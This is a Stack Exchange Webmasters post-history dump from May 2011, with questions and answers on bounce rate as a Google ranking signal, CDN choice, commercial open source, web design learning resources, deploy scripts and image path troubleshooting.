  <row Id="32409" PostHistoryTypeId="3" PostId="13925" RevisionGUID="7dafbfc2-84e7-4a9b-8e86-f8b8220091b7" CreationDate="2011-05-17T02:28:34.997" UserId="7562" Text="&lt;apache&gt;&lt;cdn&gt;&lt;static-content&gt;" />
  <row Id="32410" PostHistoryTypeId="5" PostId="13924" RevisionGUID="073269f3-85da-45af-851b-7c01c91ac715" CreationDate="2011-05-17T02:31:02.967" UserId="1253" Comment="added 426 characters in body; added 40 characters in body; deleted 245 characters in body" Text="&#xD;&#xA;I have an issue with the concept of long/short clicks being used in their ranking algorithm. There are too many scenarios where both short and long clicks occur that are the opposite of what the standard logic would be.&#xD;&#xA;&#xD;&#xA;For example, short clicks could occur because:&#xD;&#xA;&#xD;&#xA; - A user is opening many tabs at once, let's say all ten links on the first search results page, for research of some kind. (Whether that research is SEO or academic is irrelevant). These will all appear as short clicks.&#xD;&#xA;&#xD;&#xA; - Someone is looking for a particular site and is hopping through results until they find the one they want. Their tome on each site is short not because the site is poorly done, it's just not the one specific site the user is looking for.&#xD;&#xA;&#xD;&#xA; - This is way too easy to manipulate. If this really was a potential ranking factor it's not hard to imagine black hats short clicking their competitors to serve their own ends. (Naturally this would be automated to produce the quantity necessary to spur Google into action).&#xD;&#xA;&#xD;&#xA;Long clicks can occur because:&#xD;&#xA;&#xD;&#xA; - A user has no idea what they are looking for and spends an eternity on each site looking for it but never finds it (e.g. that site is irrelevant).&#xD;&#xA;&#xD;&#xA; - A user walks away from their computer or gets side tracked for any reason&#xD;&#xA;&#xD;&#xA; - Abuse (see above)&#xD;&#xA;&#xD;&#xA; - A user is Internet-clueless and just takes a long time at teach site because they have a hard time using the Internet.&#xD;&#xA;&#xD;&#xA;The best way I can imagine this information being used is for personalized search. If someone keeps short-clicking a particular site then it probably warrants being lowered in their personal search results.&#xD;&#xA;&#xD;&#xA;As for anecdotal evidence, I have a few dozen client sites I monitor and bounce rate does not seem to correlate to rankings.&#xD;&#xA;&#xD;&#xA;As for Google using Google Analytics in their search algorithm, [the answer from Matt Cuitts is no][2]. &#xD;&#xA;&#xD;&#xA;Additionally: &#xD;&#xA;&#xD;&#xA;&gt; To the&#xD;&#xA;&gt; best of my knowledge, the rankings&#xD;&#xA;&gt; team does not use bounce rate in any&#xD;&#xA;&gt; way. ([source][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webpronews.com/google-algorithm-bounce-rate-ranking-signal-2011-05&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=CgBw9tbAQhU" />
  <row Id="32411" PostHistoryTypeId="2" PostId="13926" RevisionGUID="d2e98519-9468-4dea-b026-43ea1fed576e" CreationDate="2011-05-17T02:56:11.460" UserId="6308" Text="&#xD;&#xA;&gt; When should I choose CDN and when is it a good idea to use your own server?  Would using your own server be more cost effective? &#xD;&#xA;&#xD;&#xA;It may be - if you have a high and steady stream of traffic then your own server may be more cost effective.  CDNs however may let you spike in traffic, or adjust what you pay on the fly according to demand, so they may be better if you have very low traffic or if your traffic is subject to change or spike.&#xD;&#xA;&#xD;&#xA;This of course varies between providers, so keep an open mind when shopping around.&#xD;&#xA;&#xD;&#xA;Aside from price, there is also the question of whether you are competant enough, or can afford the time, to set up your own server and keep it secure, backed up and up to date.&#xD;&#xA;&#xD;&#xA;&gt; How are CDNs integrated ussually? Is there a client software installed on my server that pushes new data (user uploaded content) to the CDN? &#xD;&#xA;&#xD;&#xA;This varies between providers, and I have no experience with the bigger ones (Amazon, etc) to answer this bit in depth.&#xD;&#xA;&#xD;&#xA;&gt; What is the best practice for setting up your own static server and is rsync used for moving files over?&#xD;&#xA;&#xD;&#xA;Yes, you can rsync where-ever SSH is supported and it's how I usually move files to a server.&#xD;&#xA;&#xD;&#xA;I find the [Linode library][1] a great place for resources about setting up a linux based server.&#xD;&#xA;&#xD;&#xA;  [1]: http://library.linode.com/" />
  <row Id="32412" PostHistoryTypeId="2" PostId="13927" RevisionGUID="ec537865-a538-4107-8c54-036c35e5ad0f" CreationDate="2011-05-17T03:02:27.603" UserId="3" Text="Per [Matt Cutts][1]&#xD;&#xA;&#xD;&#xA;&gt; Without reading the article [trying to confirm a connection between rank and bounce rates], I’ll just say that **bounce rates would be not only spammable but noisy**. A search industry person recently sent me some questions about how bounce rate is done at Google and I was like &quot;Dude, I have no idea about any things like bounce rate. Why don’t you talk to this nice Google Analytics evangelist who knows about things like bounce rate?&quot; I just don’t even run into people talking about this in my day-to-day life.&#xD;&#xA;&#xD;&#xA;Granted this was back in December 2008, but Matt Cutts saying that bounce rate is not used *even a little* is fairly definitive in my book, even 3 years on.&#xD;&#xA;&#xD;&#xA;[1]: http://sphinn.com/story/93908#61138" />
  <row Id="32413" PostHistoryTypeId="25" PostId="13920" RevisionGUID="ba4a3b4b-3eb2-419c-9c58-0a6f9e949e7f" CreationDate="2011-05-17T03:12:13.177" Comment="http://twitter.com/#!/StackWebmasters/status/70325720412454912" />
  <row Id="32414" PostHistoryTypeId="2" PostId="13928" RevisionGUID="c546cacc-b957-4885-b070-d86c6aa4d647" CreationDate="2011-05-17T04:23:15.530" UserId="6033" Text="I manage a site that brings in around 30k pageviews per day. It lost 1/3 of its traffic around April 11th (panda international rollout). The entire domain lost traffic across the board. The overall average bounce rate hovers around 65%. The hardest hit pages have bounce rates over 75% however. It's an interesting theory. &#xD;&#xA;&#xD;&#xA;To google's credit (I hope it's not just a coincidence) bounce rate, avg time on site, and pages per visit all improved after the change." />
  <row Id="32415" PostHistoryTypeId="5" PostId="13928" RevisionGUID="55d8038a-2795-4d10-bc38-6f133a9832ad" CreationDate="2011-05-17T05:00:04.500" UserId="6033" Comment="added 226 characters in body; deleted 4 characters in body; added 20 characters in body" Text="I manage a site that brings in around 30k pageviews per day. It lost 1/3 of its traffic around April 11th (panda international rollout). The entire domain lost traffic across the board. The overall average bounce rate hovers around 65% (pre-panda was 71%). The hardest hit pages have bounce rates over 75% however. It's an interesting theory. &#xD;&#xA;&#xD;&#xA;To google's credit (I hope it's not just a coincidence) bounce rate, avg time on site, and pages per visit all improved after the change.&#xD;&#xA;&#xD;&#xA;**Side-Note:** The other sites I manage were not affected by the algorithm change. Their average bounce rates hover from 52% - 68%. I haven't done analysis on individual pages on those sites since they weren't affected" />
  <row Id="32416" PostHistoryTypeId="2" PostId="13929" RevisionGUID="568a3328-b2d9-4692-af1b-f821b5dfb030" CreationDate="2011-05-17T05:41:36.773" UserId="2540" Text="This is very likely Google can estimate your bounce rate, if you take into account a new feature that detects when the user is **clicking the back button:**&#xD;&#xA;&#xD;&#xA;1. Search Google:&#xD;&#xA;&#xD;&#xA;    ![enter image description here][1]&#xD;&#xA;&#xD;&#xA;2. Click back.&#xD;&#xA;3. Google is showing a new option, &quot;Block all [site] results&quot;:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Qr5d1.png&#xD;&#xA;&#xD;&#xA;Obviously, that is a guess, but quick back clicks may be good indicators of irrelevant results, and has strong correlation with bounce rate. Note that this fails when the user is opening search results in a new tab, so it may be directed to the less savvy users.  &#xD;&#xA;&#xD;&#xA;Note the difference between &quot;making another search&quot;, which Google should take personally as it displayed irrelevant results, and &quot;returning to the same search&quot;, which means that that particular site wasn't suited for this search.&#xD;&#xA;&#xD;&#xA;  [2]: http://i.stack.imgur.com/fH8Ye.png" />
  <row Id="32417" PostHistoryTypeId="5" PostId="13929" RevisionGUID="f29e2927-d384-4556-a46a-5eb27e8bf6f2" CreationDate="2011-05-17T05:56:20.417" UserId="2540" Comment="added 31 characters in body" Text="This is very likely Google can estimate your bounce rate, if you take into account a new feature that detects when the user is **clicking the back button:**&#xD;&#xA;&#xD;&#xA;1. Search Google:&#xD;&#xA;&#xD;&#xA;    ![enter image description here][1]&#xD;&#xA;&#xD;&#xA;2. Click a search result.&#xD;&#xA;2. Click back.  &#xD;&#xA;&#xD;&#xA;3. Google is showing a new option, &quot;Block all [site] results&quot;:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Qr5d1.png&#xD;&#xA;&#xD;&#xA;Obviously, that is a guess, but quick back clicks may be good indicators of irrelevant results, and has strong correlation with bounce rate. Note that this fails when the user is opening search results in a new tab, so it may be directed to the less savvy users.  &#xD;&#xA;&#xD;&#xA;Note the difference between &quot;making another search&quot;, which Google should take personally as it displayed irrelevant results, and &quot;returning to the same search&quot;, which means that that particular site wasn't suited for this search.&#xD;&#xA;&#xD;&#xA;  [2]: http://i.stack.imgur.com/fH8Ye.png" />
  <row Id="32418" PostHistoryTypeId="25" PostId="13925" RevisionGUID="9b4aa4c9-a9b1-4253-bcfc-d541ed25dfdb" CreationDate="2011-05-17T06:12:14.027" Comment="http://twitter.com/#!/StackWebmasters/status/70371022343372800" />
  <row Id="32419" PostHistoryTypeId="2" PostId="13930" RevisionGUID="8c7b39a8-2cde-458d-b90b-b1205a0e6dc9" CreationDate="2011-05-17T06:33:57.450" UserId="4306" Text="To help Google find your feed faster, you can submit it as an RSS sitemap in Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;Google Webmaster Tools:&#xD;&#xA;https://www.google.com/webmasters/tools/&#xD;&#xA;&#xD;&#xA;Go to Site Configuration &gt; Sitemaps &gt; Submit a Sitemap&#xD;&#xA;&#xD;&#xA;This method has the advantage of telling you how many URLs have been added to Google's index." />
  <row Id="32420" PostHistoryTypeId="2" PostId="13931" RevisionGUID="d3dbd613-84d1-4097-95d0-d4e3f536a3f5" CreationDate="2011-05-17T06:57:01.083" UserId="5134" Text="When i was looking some web apps they said our apps is &quot;commercial open source&quot; I understand &quot;Open source&quot; but what is &quot;commercial open source&quot; what kind of license they are using? " />
  <row Id="32421" PostHistoryTypeId="1" PostId="13931" RevisionGUID="d3dbd613-84d1-4097-95d0-d4e3f536a3f5" CreationDate="2011-05-17T06:57:01.083" UserId="5134" Text="What does &quot;commercial open source&quot; mean for we apps?" />
  <row Id="32422" PostHistoryTypeId="3" PostId="13931" RevisionGUID="d3dbd613-84d1-4097-95d0-d4e3f536a3f5" CreationDate="2011-05-17T06:57:01.083" UserId="5134" Text="&lt;web-applications&gt;" />
  <row Id="32423" PostHistoryTypeId="2" PostId="13932" RevisionGUID="f947b8b1-3a67-4f0f-bee9-02666bd6e975" CreationDate="2011-05-17T07:02:39.577" UserId="4461" Text="CDNs are usually a better choice when your traffic is distributed globally, meaning latency for the requests by the visitor are reduced as they are served from the nearest geo-located server that hosts the content being requested.&#xD;&#xA;&#xD;&#xA;If most of your traffic is coming from the same country, then you could reduce your costs/complexity by using your own server.&#xD;&#xA;&#xD;&#xA;There's some related QnA's on the 'how':  &#xD;&#xA;CDN - http://webmasters.stackexchange.com/questions/577/cdn-content-delivery-networks-how-do-they-work-and-why-would-i-want-to-use-one  &#xD;&#xA;Static - http://webmasters.stackexchange.com/questions/791/how-many-domains-to-split-components-across&#xD;&#xA;" />
  <row Id="32424" PostHistoryTypeId="2" PostId="13933" RevisionGUID="ad454afb-da47-424c-8bfd-0f35ffc28286" CreationDate="2011-05-17T07:30:13.380" UserId="7198" Text="WordPress.org (self-hosted) blogs *may* offer better results purely because they are more customisable than wordpress.com blogs.&#xD;&#xA;&#xD;&#xA;Plugins such as &lt;a href=&quot;http://wordpress.org/extend/plugins/platinum-seo-pack/&quot;&gt;Platinum SEO&lt;/a&gt; allow blog owners to optimise meta tags, descriptions, and titles on a self-hosted WordPress blog in a way that wordpress.com owners can not.&#xD;&#xA;&#xD;&#xA;Plugins such as &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot;&gt;W3 Total Cache&lt;/a&gt; allow self-hosted blog owners to optimise page response times in a way that WordPress.com users can not.&#xD;&#xA;&#xD;&#xA;**That said, there should be little difference in search engine ranking between a self-hosted WordPress blog and an identical one hosted at wordpress.com.**&#xD;&#xA;&#xD;&#xA;As ever, it is more down to the person running the site than to the platform. A blogger who publishes a lot of useful, keyword-rich content on a wordpress.com blog will likely outrank someone using a self-hosted WordPress blog who makes no changes beyond the default installation and who does little to publish or promote interesting content.&#xD;&#xA;&#xD;&#xA;Indeed, someone who cares little for site maintenance may do better to host at wordpress.com, because it is likely to offer better response times and uptime than a default WordPress installation on a budget hosting provider, and because they are likely to spend more time writing and less time tweaking.&#xD;&#xA;" />
  <row Id="32425" PostHistoryTypeId="2" PostId="13934" RevisionGUID="3fbb0571-2d6c-4cc7-8637-8bd3377bde1c" CreationDate="2011-05-17T07:41:25.703" UserId="5425" Text="What are the best resources (i.e. tutorials, video keynotes, blog posts, etc) that best assist graphic designers understand the paradigm of website design? As a web designer, I'm really interested in having my sister (a graphic designer) working with me. How to best explain her how to design for the screen, with practical and easy-to-learn resources (i.e. how to build website layouts for the web)?" />
  <row Id="32426" PostHistoryTypeId="1" PostId="13934" RevisionGUID="3fbb0571-2d6c-4cc7-8637-8bd3377bde1c" CreationDate="2011-05-17T07:41:25.703" UserId="5425" Text="How to best understand website design for those with a background in graphic design?" />
  <row Id="32427" PostHistoryTypeId="3" PostId="13934" RevisionGUID="3fbb0571-2d6c-4cc7-8637-8bd3377bde1c" CreationDate="2011-05-17T07:41:25.703" UserId="5425" Text="&lt;website-design&gt;&lt;web&gt;&lt;learning&gt;&lt;resources&gt;" />
  <row Id="32428" PostHistoryTypeId="2" PostId="13935" RevisionGUID="d98d953d-913f-437b-a6cf-6f1ed9e7e0df" CreationDate="2011-05-17T07:42:39.027" UserId="1643" Text="Without you saying just who they are I can't tell what license they are using. However it is possible for commercial and open source to go together. Open source means you can see the source code. They could make their money out of supporting the product, or maybe hosting it for you. That's the model that Red Hat use." />
  <row Id="32429" PostHistoryTypeId="5" PostId="13931" RevisionGUID="6f9b7c30-a461-4b7d-99ea-46ed77a35f1a" CreationDate="2011-05-17T07:44:44.473" UserId="1643" Comment="Fixed title and then some other punctuation." Text="When I was looking some web apps they said our apps are &quot;commercial open source&quot;. I understand &quot;open source&quot; but what is &quot;commercial open source&quot; what kind of license they are using? " />
  <row Id="32430" PostHistoryTypeId="4" PostId="13931" RevisionGUID="6f9b7c30-a461-4b7d-99ea-46ed77a35f1a" CreationDate="2011-05-17T07:44:44.473" UserId="1643" Comment="Fixed title and then some other punctuation." Text="What does &quot;commercial open source&quot; mean for web apps?" />
  <row Id="32431" PostHistoryTypeId="24" PostId="13931" RevisionGUID="6f9b7c30-a461-4b7d-99ea-46ed77a35f1a" CreationDate="2011-05-17T07:44:44.473" Comment="Proposed by 1643 approved by 1064 edit id of 289" />
  <row Id="32432" PostHistoryTypeId="2" PostId="13936" RevisionGUID="cf9fb6ee-5b84-4710-8812-48d75ca8c5bf" CreationDate="2011-05-17T07:45:07.120" UserId="1643" Text="To respond to your comment &#xD;&#xA;&#xD;&#xA;&gt; so may i get advice? i thought you will give me after you know my criteria :) &#xD;&#xA;&#xD;&#xA;I was just making the question clear so that other people could help you! The only open source document management system I'm familiar with is Plone. It is powerful, and so probably fairly complicated to set up." />
  <row Id="32433" PostHistoryTypeId="2" PostId="13937" RevisionGUID="ab8a7761-e234-40d6-8e74-94ec5212b8ec" CreationDate="2011-05-17T07:53:28.320" UserId="7198" Text="&quot;Commercial Open Source&quot; software is released under an Open Source licence and accompanied by additional (and often optional) paid services for people who want them.&#xD;&#xA;&#xD;&#xA;Many commercial organisations are built around Open Source software; they give the software itself away and offer paid services in support. For example:&#xD;&#xA;&#xD;&#xA; * &lt;a href=&quot;http://www.canonical.com/&quot;&gt;Canonical&lt;/a&gt; give the Ubuntu OS away under an Open Source licence, but offer paid enterprise and engineering support.&#xD;&#xA; * &lt;a href=&quot;http://automattic.com/&quot;&gt;Automattic&lt;/a&gt; give the WordPress CMS away, but offer paid blog hosting and add-on services.&#xD;&#xA;&#xD;&#xA;In both of these cases, the &quot;commercial&quot; part of &quot;commercial open source&quot; is a reference to the add-on services and not the software licence itself. That said, it's important to read, understand, and ask questions about the licences for any products you use." />
  <row Id="32434" PostHistoryTypeId="5" PostId="13934" RevisionGUID="b55044db-27ff-4aa3-a9c2-c7d27335c079" CreationDate="2011-05-17T07:53:41.313" UserId="5425" Comment="added 40 characters in body" Text="What are the best resources (i.e. tutorials, video keynotes, blog posts, etc) that best assist graphic designers understand the paradigm of website design? As a web designer, I'm really interested in having my sister (a graphic designer) working with me. How to best explain her how to design for the screen, with practical and easy-to-learn resources (i.e. how to build website layouts for the web) without having to spend time with books?" />
  <row Id="32435" PostHistoryTypeId="2" PostId="13938" RevisionGUID="5b957cb8-5d32-4c13-93ce-0f2490ba8643" CreationDate="2011-05-17T08:04:14.733" UserId="5718" Text="I think that the problem with using bounce rate for ranking is that it doesn't take into account the fact that bounces aren't always a bad thing. This metric needs to be taken in context because there are some sites for which you might want to actually *increase* your bounce rate!&#xD;&#xA;&#xD;&#xA;In fact, as an example, your sites might be that type of site (at least from Google's perspective of providing relevant results to it's users). Take SO for an example - if I'm searching for the answer to a programming question then I don't want to spend a considerable amount of time clicking around looking for an answer. I want an answer as fast as possible so I can return to my work. I would expect Google to return a list of sites that answer my question, not ones that will waist my time. &#xD;&#xA;&#xD;&#xA;I think that the bounce rate metric doesn't provide enough information on it's own to be useful in a search engine ranking algorithm. If Google is using it for more than internal analysis (where humans can guess at user intent) then they are making a mistake. &#xD;&#xA;&#xD;&#xA;As a side note, going back to the example of a search for an answer to a programming question, do you ever find that the answer to the question is actually in the search results and you don't need to click through to a site at all? " />
  <row Id="32436" PostHistoryTypeId="2" PostId="13939" RevisionGUID="20e21bbb-6f8f-417f-be4e-0796a8fa0ff9" CreationDate="2011-05-17T08:07:38.983" UserId="1643" Text="One way of doing it is this. Each page has it's own class for the body, e.g.&#xD;&#xA;&#xD;&#xA;&gt; &amp;lt;body class=&quot;tab3&quot;&gt;&#xD;&#xA;&#xD;&#xA;Each tab should have its own id, tab1, tab2, tab3 etc.&#xD;&#xA;&#xD;&#xA;Then put a line like this in your CSS:&#xD;&#xA;&#xD;&#xA;&gt; .tab1 #tab1, .tab2 #tab2, .tab3 #tab3 { color: *selected colour* }&#xD;&#xA;&#xD;&#xA;You'll have to specify which element of the tab you want to be coloured, I've just put in &quot;color&quot;.&#xD;&#xA;&#xD;&#xA;Then when the body tab has the class tab3, tab3 will be the selected colour." />
  <row Id="32437" PostHistoryTypeId="2" PostId="13940" RevisionGUID="bced58fc-3dfc-4580-9171-411b5422815e" CreationDate="2011-05-17T08:11:42.173" UserId="7574" Text="Sorry about mass, The error was in regexp, My laptop could handle but dreamhost caused problem. I changed it to basic str_replace and now it survives." />
  <row Id="32438" PostHistoryTypeId="2" PostId="13941" RevisionGUID="dd05c430-1d83-44b7-98c8-41a23bfaa559" CreationDate="2011-05-17T08:48:17.383" UserId="7198" Text="I'm a former print designer who happily made the transition to web design. She's already got a great head start; the same concepts of hierarchy, grid systems, and typography translate wonderfully from print to Web, so she won't have to relearn those.&#xD;&#xA;&#xD;&#xA;To begin her journey as a Web designer, I'd recommend that she should:&#xD;&#xA;&#xD;&#xA;**Learn the differences**  &#xD;&#xA;Brian Hoff's &lt;a href=&quot;http://www.thedesigncubicle.com/2009/03/transitioning-from-a-print-to-web-designer/&quot;&gt;advice for print designers transitioning to web design&lt;/a&gt; is a great place to start. Jakob Nielsen also has some slightly higher-level &lt;a href=&quot;http://www.useit.com/alertbox/990124.html&quot;&gt;advice for print designers&lt;/a&gt; from 1999 that's still worth reading.&#xD;&#xA; &#xD;&#xA;**Learn basic HTML/CSS**  &#xD;&#xA;The &lt;a href=&quot;http://htmldog.com/guides/&quot;&gt;HTML Dog&lt;/a&gt; tutorials are great, as are &lt;a href=&quot;http://www.subtraction.com/2007/08/16/this-way-to-&quot;&gt;Khoi Vinh's recommendations for print designers&lt;/a&gt; if she can make time for the books. (Khoi's book, &lt;a href=&quot;http://www.peachpit.com/store/product.aspx?isbn=0321703537&quot;&gt;Grid Principles for Web Design&lt;/a&gt; is handy for all designers too.) Finally, the &lt;a href=&quot;http://membership.thinkvitamin.com/&quot;&gt;ThinkVitamin videos&lt;/a&gt; on HTML/CSS are among the best around if she prefers to learn that way, and the &lt;a href=&quot;http://net.tutsplus.com/sessions/web-design-from-scratch/&quot;&gt;Web Development from Scratch&lt;/a&gt; series on Net Tuts looks promising too.&#xD;&#xA;&#xD;&#xA;**Learn to use FTP**  &#xD;&#xA;It's worth her learning how to upload HTML, CSS, and images if she doesn't know already.&#xD;&#xA;&#xD;&#xA;**Learn to build a simple site from scratch**  &#xD;&#xA;Beyond that, you might encourage her to make a simple design in Photoshop or Fireworks, perhaps for a personal portfolio site or blog, and to turn that design into HTML and CSS using only a text editor and a web browser. &lt;a href=&quot;http://webdesign.tutsplus.com/tutorials/basics-create-a-clean-magazine-blog-theme-day-1-design/&quot;&gt;Web Design Tuts&lt;/a&gt; has a walkthrough to help with that.&#xD;&#xA;&#xD;&#xA;**Learn from you**  &#xD;&#xA;Having a mentor to call upon helps no end, so the best thing she could do is to learn from you. Encourage her to share her designs at their early stages and offer suggestions. Help her see that as web designers, we're just solving on screen the same problem that print designers have long been solving on paper: how to order information in a way that people can best understand, use, and fall in love with." />
  <row Id="32439" PostHistoryTypeId="25" PostId="13934" RevisionGUID="85416ef0-ee3d-41d1-8962-d9af00a1cd1f" CreationDate="2011-05-17T09:12:13.430" Comment="http://twitter.com/#!/StackWebmasters/status/70416318880419840" />
  <row Id="32440" PostHistoryTypeId="2" PostId="13942" RevisionGUID="2ca70f92-d6a4-47c5-97f6-27da0661611c" CreationDate="2011-05-17T09:15:38.453" UserId="7575" Text="I was a graphic designer first then after three years i am now a web developer. When i was migrating i started with first website layout design in photoshop. Sites helped me a lot was from [tutsplus][1] network. As i am new here so i cant give too much link. But i think you should checkout the psd.tutsplus.com site. They have some good psd web interface design tutorials from industry leader web artists. Here is one of my all time [favorites][2].&#xD;&#xA;&#xD;&#xA;Also try her signup for deviantart (if she not yet). I think every designer should join this community too. There are lots of web interface design groups they all are mainly graphic designer.&#xD;&#xA;&#xD;&#xA;It is good thing you have a sister to work with you. I wish i had one!! :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tutsplus.com/&#xD;&#xA;  [2]: http://psd.tutsplus.com/tutorials/interface-tutorials/how-to-create-a-grunge-web-design-in-photoshop/" />
  <row Id="32441" PostHistoryTypeId="2" PostId="13943" RevisionGUID="0e460385-7b5d-4326-b367-45aac52bc6b8" CreationDate="2011-05-17T09:36:47.063" UserId="7474" Text="Conversation:&#xD;&#xA;&gt;Me: How do we do the swap over though?&#xD;&#xA;Won't there be downtime no matter how we do it?  &#xD;&#xA;&#xD;&#xA;&gt;X: Well, we will need to do a complete **deploy script** of all the steps that must be completed. then we can see where the downtime might happen&#xD;&#xA;&#xD;&#xA;Is it simply a complete test/dummy deployment or is it some form of planning/testing analysis?&#xD;&#xA;&#xD;&#xA;_Feel free to migrate this to a more appropriate SE site if there is one._" />
  <row Id="32442" PostHistoryTypeId="1" PostId="13943" RevisionGUID="0e460385-7b5d-4326-b367-45aac52bc6b8" CreationDate="2011-05-17T09:36:47.063" UserId="7474" Text="What is a deploy script?" />
  <row Id="32443" PostHistoryTypeId="3" PostId="13943" RevisionGUID="0e460385-7b5d-4326-b367-45aac52bc6b8" CreationDate="2011-05-17T09:36:47.063" UserId="7474" Text="&lt;site-deployment&gt;&lt;testing&gt;&lt;website-deployment&gt;" />
  <row Id="32444" PostHistoryTypeId="2" PostId="13944" RevisionGUID="ec61bcb1-4de1-47e6-86ec-cb42b2b36cc3" CreationDate="2011-05-17T09:43:02.977" UserId="5739" Text="There is a discussion of [deplyment scripts][1] on StackOverflow&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/515280/how-do-you-deploy-a-website-to-your-webservers" />
  <row Id="32445" PostHistoryTypeId="5" PostId="13941" RevisionGUID="b7c91bb8-9c9c-42c1-bcf7-2773ce17f1ad" CreationDate="2011-05-17T10:37:05.043" UserId="7198" Comment="added 6 characters in body" Text="I'm a former print designer who happily made the transition to web design. Your sister already has a great head start; the same concepts of hierarchy, grid systems, and typography translate wonderfully from print to Web, so she won't have to relearn those.&#xD;&#xA;&#xD;&#xA;To begin her journey as a Web designer, I'd recommend that she should:&#xD;&#xA;&#xD;&#xA;**Learn the differences**  &#xD;&#xA;Brian Hoff's &lt;a href=&quot;http://www.thedesigncubicle.com/2009/03/transitioning-from-a-print-to-web-designer/&quot;&gt;advice for print designers transitioning to web design&lt;/a&gt; is a great place to start. Jakob Nielsen also has some slightly higher-level &lt;a href=&quot;http://www.useit.com/alertbox/990124.html&quot;&gt;advice for print designers&lt;/a&gt; from 1999 that's still worth reading.&#xD;&#xA; &#xD;&#xA;**Learn basic HTML/CSS**  &#xD;&#xA;The &lt;a href=&quot;http://htmldog.com/guides/&quot;&gt;HTML Dog&lt;/a&gt; tutorials are great, as are &lt;a href=&quot;http://www.subtraction.com/2007/08/16/this-way-to-&quot;&gt;Khoi Vinh's recommendations for print designers&lt;/a&gt; if she can make time for the books. (Khoi's book, &lt;a href=&quot;http://www.peachpit.com/store/product.aspx?isbn=0321703537&quot;&gt;Grid Principles for Web Design&lt;/a&gt; is handy for all designers too.) Finally, the &lt;a href=&quot;http://membership.thinkvitamin.com/&quot;&gt;ThinkVitamin videos&lt;/a&gt; on HTML/CSS are among the best around if she prefers to learn that way, and the &lt;a href=&quot;http://net.tutsplus.com/sessions/web-design-from-scratch/&quot;&gt;Web Development from Scratch&lt;/a&gt; series on Net Tuts looks promising too.&#xD;&#xA;&#xD;&#xA;**Learn to use FTP**  &#xD;&#xA;It's worth her learning how to upload HTML, CSS, and images if she doesn't know already.&#xD;&#xA;&#xD;&#xA;**Learn to build a simple site from scratch**  &#xD;&#xA;Beyond that, you might encourage her to make a simple design in Photoshop or Fireworks, perhaps for a personal portfolio site or blog, and to turn that design into HTML and CSS using only a text editor and a web browser. &lt;a href=&quot;http://webdesign.tutsplus.com/tutorials/basics-create-a-clean-magazine-blog-theme-day-1-design/&quot;&gt;Web Design Tuts&lt;/a&gt; has a walkthrough to help with that.&#xD;&#xA;&#xD;&#xA;**Learn from you**  &#xD;&#xA;Having a mentor to call upon helps no end, so the best thing she could do is to learn from you. Encourage her to share her designs at their early stages and offer suggestions. Help her see that as web designers, we're just solving on screen the same problem that print designers have long been solving on paper: how to order information in a way that people can best understand, use, and fall in love with." />
  <row Id="32446" PostHistoryTypeId="2" PostId="13945" RevisionGUID="0c548069-2b87-4034-8824-0ce2eaba9f27" CreationDate="2011-05-17T11:17:17.580" UserId="7019" Text="The example conversation you provided sounds an awful lot like the conversations I hear on a regular basis. &#xD;&#xA;&#xD;&#xA;In my context (IT), deploy scripts are typically actual scripts ([BASH][1] or [ant][2] targets) that push code from source code control to a non-development tier. However, sometimes management will characterize &quot;all the steps&quot; that it takes to move from development to production as &quot;the deployment&quot;. These steps include provisioning servers, creating databases, modifying configuration files, and a host of other system administration tasks. All of these steps might be considered a script (though I've seen these referred to as a &quot;punch list&quot;, or a &quot;go-live list&quot;).&#xD;&#xA;&#xD;&#xA;Long story short: the meaning of deploy scripts depends on who's in the conversation and the context, but it typically means an actual script.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/&#xD;&#xA;  [2]: http://ant.apache.org/" />
  <row Id="32447" PostHistoryTypeId="25" PostId="13943" RevisionGUID="b88e9f74-656c-40fb-9b0f-f1a79b304dd7" CreationDate="2011-05-17T12:12:13.750" Comment="http://twitter.com/#!/StackWebmasters/status/70461618642878465" />
  <row Id="32452" PostHistoryTypeId="2" PostId="13947" RevisionGUID="9d00937c-7122-44d2-9235-14f802eb98eb" CreationDate="2011-05-17T13:17:03.827" UserId="7586" Text="It's most likely that the path to your image is broken, and the browser that's showing the image correctly has the file cached.&#xD;&#xA;&#xD;&#xA;Consider the following HTML:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;images/01-12-2011/example.jpg&quot; /&gt;  &#xD;&#xA;    &lt;img src=&quot;/images/01-12-2011/example.jpg&quot; /&gt;&#xD;&#xA;&#xD;&#xA;In the first line of code, the `img` tag tells the browser to look for the image in a sub-folder based off the current URL &amp;mdash; this is referred to as a *relative* link.&#xD;&#xA;&#xD;&#xA;In the second line of code, the `img` tag instructs the browser to start from the root directory of your site when looking for the image &amp;mdash; this is referred to as an *absolute* link.&#xD;&#xA;&#xD;&#xA;If you're seeing the images in one browser, but not others (and you're viewing them using the same URL) your primary browser may just have the files cached.&#xD;&#xA;&#xD;&#xA;Without seeing a code sample of the page, it's difficult to determine what else might be the problem." />
